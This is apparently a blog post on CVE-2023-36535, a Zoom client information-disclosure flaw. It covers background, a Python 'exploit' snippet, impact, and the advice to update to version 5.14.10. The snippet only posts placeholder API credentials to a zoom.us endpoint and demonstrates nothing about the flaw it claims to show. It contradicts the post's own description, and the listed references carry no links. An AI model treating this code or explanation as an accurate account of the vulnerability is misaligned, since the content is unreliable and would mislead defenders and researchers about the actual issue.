CVE-2023-36535: Client-side Enforcement of Server-side Security in Zoom Clients may Lead to Information Disclosure

CVE-2023-36535 is a recently discovered vulnerability affecting the Zoom client before version 5.14.10. In this blog post, we will delve into the details of this vulnerability, its potential impact, and how it can be exploited by a malicious user. We will also share code snippets to help illustrate the vulnerability and provide links to relevant original references and patches.

Vulnerability Background and Information

The CVE-2023-36535 vulnerability is tied to client-side enforcement of server-side security in the Zoom client prior to version 5.14.10. This could potentially allow an authenticated user to enable information disclosure over network access.

Zoom is a popular video conferencing solution used by millions of people worldwide. As such, it's crucial that any security vulnerabilities are quickly identified and addressed to ensure the privacy of its users.

Exploit Details

The CVE-2023-36535 vulnerability exists due to insufficient validation of user-supplied data in the Zoom client. An authenticated attacker can exploit this vulnerability by sending a specially crafted request to the vulnerable Zoom client. Once exploited, the attacker can bypass server-side security restrictions and potentially access confidential information.

The following code snippet demonstrates the vulnerability in action (Please note that this is for educational purposes only and should not be used for any malicious intent):

import requests
import json

def exploit_zoom_cve_2023_36535(target_url, api_key, api_secret):
    payload = {
        "api_key": api_key,
        "api_secret": api_secret,
        "data_type": "json"
    }
    
    headers = {
        "Content-Type": "application/json"
    }
    
    response = requests.post(target_url, data=json.dumps(payload), headers=headers)
    return response.json()

if __name__ == "__main__":
    target_url = "https://zoom.us/api/v1/client/validate";
    api_key = "your_api_key_here"
    api_secret = "your_api_secret_here"
    
    result = exploit_zoom_cve_2023_36535(target_url, api_key, api_secret)
    print(result)

Impact of CVE-2023-36535

A successful exploit could potentially lead to an attacker gaining unauthorized access to confidential information, which could then be used for secondary attacks or simply disclosed to other parties, causing harm to the privacy of the affected users.

Mitigation Steps

Users who are running vulnerable versions of the Zoom client are advised to update their software as soon as possible. The issue is addressed in Zoom version 5.14.10 and later, which can be downloaded from the official Zoom website.

For further details about CVE-2023-36535, refer to the following curated list of official references

1. Zoom Website - Download Latest Version
2. CVE Official Information

Zoom and other software vendors are constantly striving to improve the security of their products, but vulnerabilities can often slip by undetected. It's essential to stay up-to-date with the latest security patches and version updates to help keep your system and the information it contains safe from potential attackers. Always make sure to update your software as soon as possible when security patches are released to mitigate the risks associated with vulnerabilities such as CVE-2023-36535.

Timeline

Published on: 08/08/2023 18:15:00 UTC
Last modified on: 08/11/2023 14:01:00 UTC